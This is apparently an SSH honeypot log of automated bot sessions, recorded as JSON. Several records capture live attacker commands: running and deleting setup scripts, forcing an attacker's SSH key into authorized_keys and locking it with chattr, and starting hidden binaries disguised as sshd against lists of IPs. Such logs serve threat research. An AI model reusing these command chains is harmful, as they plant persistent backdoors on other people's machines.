[ { "id": "825fce80-d428-4a34-899c-8c6d10ad5b44", "name": "nameless-leafy-raven", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "130.12.180.51", "src_port": 36238, "username": "admin", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-27T06:27:48.262777+00:00", "ended_at": "2026-08-27T06:27:48.487552+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 1036 }, { "id": "21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4", "name": "smooth-wandering-oryx", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 57298, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-25T14:30:34.810048+00:00", "ended_at": "2026-08-25T14:30:35.596959+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 994 }, { "id": "6f21839c-0816-4ffd-9ff4-e71ebbf9de78", "name": "hidden-lunar-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "120.33.126.224", "src_port": 46270, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd &", "started_at": "2026-08-24T03:43:21.725414+00:00", "ended_at": "2026-08-24T03:43:31.924235+00:00", "ended_reason": "exec complete", "commands": 2, "transcript_bytes": 132 }, { "id": "a7c2dc75-073e-4f82-8ea8-956c9e4d969f", "name": "humble-lucid-albatross", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "130.12.180.51", "src_port": 36788, "username": "user", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-23T12:55:19.400765+00:00", "ended_at": "2026-08-23T12:55:19.733045+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 1029 }, { "id": "1a89d4f8-6eb1-4402-9cb6-68a4cbd7f36d", "name": "nautical-foggy-cormorant", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 26150, "username": "manager", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-23T00:43:29.794697+00:00", "ended_at": "2026-08-23T00:43:29.948066+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 1050 }, { "id": "23c3a382-7bc4-4bfd-8e04-aae7c518816f", "name": "blithe-ashen-opossum", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "203.189.196.168", "src_port": 51472, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-22T10:38:15.700762+00:00", "ended_at": "2026-08-22T10:38:15.696584+00:00", "ended_reason": "no channel opened", "commands": 1, "transcript_bytes": 61 }, { "id": "ddd2d8dd-2a8c-48e7-a914-3d24b5327f81", "name": "smooth-sincere-loris", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "101.206.211.72", "src_port": 14175, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T22:38:46.573203+00:00", "ended_at": "2026-08-20T22:38:46.560076+00:00", "ended_reason": "no channel opened", "commands": 1, "transcript_bytes": 61 }, { "id": "e3eee844-4660-4da4-8622-91b468c14614", "name": "gallant-sullen-bullfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "144.225.8.54", "src_port": 60896, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd &", "started_at": "2026-08-20T13:32:13.067213+00:00", "ended_at": "2026-08-20T13:32:22.630900+00:00", "ended_reason": "exec complete", "commands": 2, "transcript_bytes": 144 }, { "id": "d9b95fa5-86ee-4f4a-9ebd-e1d1f8cad745", "name": "cheerful-dapper-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.45.84.205", "src_port": 43772, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &", "started_at": "2026-08-20T12:10:14.142670+00:00", "ended_at": "2026-08-20T12:10:23.792851+00:00", "ended_reason": "exec complete", "commands": 2, "transcript_bytes": 875 }, { "id": "87c2eb28-34f2-44c9-9d94-210ae924165b", "name": "crimson-nimble-meerkat", "protocol": "ssh", "channel_kind": "sftp", "src_ip": "77.90.185.20", "src_port": 57926, "username": "root", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n", "started_at": "2026-08-20T07:29:14.913545+00:00", "ended_at": "2026-08-20T07:29:15.120608+00:00", "ended_reason": "exec complete", "commands": 8, "transcript_bytes": 994 } ]